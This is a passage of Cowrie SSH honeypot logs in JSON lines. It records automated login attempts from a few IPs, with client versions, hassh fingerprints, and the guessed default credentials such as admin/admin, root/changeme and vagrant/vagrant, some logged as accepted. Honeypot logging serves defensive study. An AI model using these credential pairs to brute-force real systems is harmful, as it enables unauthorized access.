dsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:14.440547Z","src_ip":"192.109.200.78","session":"7d4668900dcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:14.686175Z","src_ip":"192.109.200.78","session":"7d4668900dcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:15.775771Z","src_ip":"192.109.200.78","session":"7d4668900dcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.10.79","src_port":56404,"dst_ip":"10.17.0.5","dst_port":22,"session":"b43b16b2a2fd","protocol":"ssh","message":"New connection: 103.143.10.79:56404 (10.17.0.5:22) [session: b43b16b2a2fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:16.190538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:16.197075Z","src_ip":"103.143.10.79","session":"b43b16b2a2fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:16.263575Z","src_ip":"103.143.10.79","session":"b43b16b2a2fd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:16.488634Z","src_ip":"103.143.10.79","session":"b43b16b2a2fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:16.570041Z","src_ip":"103.143.10.79","session":"b43b16b2a2fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":61476,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c766a727ffa","protocol":"ssh","message":"New connection: 130.12.180.51:61476 (10.17.0.5:22) [session: 5c766a727ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:16.731573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:16.736061Z","src_ip":"130.12.180.51","session":"5c766a727ffa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:16.817081Z","src_ip":"130.12.180.51","session":"5c766a727ffa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:17.061761Z","src_ip":"130.12.180.51","session":"5c766a727ffa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:17.587449Z","src_ip":"130.12.180.51","session":"5c766a727ffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49672,"dst_ip":"10.17.0.5","dst_port":22,"session":"fca7bc67a797","protocol":"ssh","message":"New connection: 192.109.200.78:49672 (10.17.0.5:22) [session: fca7bc67a797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:17.731345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:17.737024Z","src_ip":"192.109.200.78","session":"fca7bc67a797","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:17.818869Z","src_ip":"192.109.200.78","session":"fca7bc67a797","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:18.322680Z","src_ip":"192.109.200.78","session":"fca7bc67a797","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:19.407643Z","src_ip":"192.109.200.78","session":"fca7bc67a797","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49680,"dst_ip":"10.17.0.5","dst_port":22,"session":"39cb4e5116fa","protocol":"ssh","message":"New connection: 192.109.200.78:49680 (10.17.0.5:22) [session: 39cb4e5116fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:21.389807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:21.393773Z","src_ip":"192.109.200.78","session":"39cb4e5116fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:21.474857Z","src_ip":"192.109.200.78","session":"39cb4e5116fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jellyfin","password":"123","message":"login attempt [jellyfin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:21.724134Z","src_ip":"192.109.200.78","session":"39cb4e5116fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:22.810869Z","src_ip":"192.109.200.78","session":"39cb4e5116fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37650,"dst_ip":"10.17.0.5","dst_port":22,"session":"38d40a2e189d","protocol":"ssh","message":"New connection: 192.109.200.78:37650 (10.17.0.5:22) [session: 38d40a2e189d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:24.857061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:24.861895Z","src_ip":"192.109.200.78","session":"38d40a2e189d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:24.943314Z","src_ip":"192.109.200.78","session":"38d40a2e189d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:25.188226Z","src_ip":"192.109.200.78","session":"38d40a2e189d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:26.272033Z","src_ip":"192.109.200.78","session":"38d40a2e189d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37662,"dst_ip":"10.17.0.5","dst_port":22,"session":"291b8f7568b4","protocol":"ssh","message":"New connection: 192.109.200.78:37662 (10.17.0.5:22) [session: 291b8f7568b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:28.197498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:28.202078Z","src_ip":"192.109.200.78","session":"291b8f7568b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:28.287281Z","src_ip":"192.109.200.78","session":"291b8f7568b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:28.533053Z","src_ip":"192.109.200.78","session":"291b8f7568b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:29.617760Z","src_ip":"192.109.200.78","session":"291b8f7568b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37664,"dst_ip":"10.17.0.5","dst_port":22,"session":"2af6850b6a63","protocol":"ssh","message":"New connection: 192.109.200.78:37664 (10.17.0.5:22) [session: 2af6850b6a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:31.637343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:31.641188Z","src_ip":"192.109.200.78","session":"2af6850b6a63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:31.826985Z","src_ip":"192.109.200.78","session":"2af6850b6a63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123","message":"login attempt [test/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:32.164487Z","src_ip":"192.109.200.78","session":"2af6850b6a63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:33.248472Z","src_ip":"192.109.200.78","session":"2af6850b6a63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40598,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4d0e92f9682","protocol":"ssh","message":"New connection: 192.109.200.78:40598 (10.17.0.5:22) [session: d4d0e92f9682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:35.280233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:35.284434Z","src_ip":"192.109.200.78","session":"d4d0e92f9682","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:35.370928Z","src_ip":"192.109.200.78","session":"d4d0e92f9682","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:35.615410Z","src_ip":"192.109.200.78","session":"d4d0e92f9682","protocol":"ssh"}
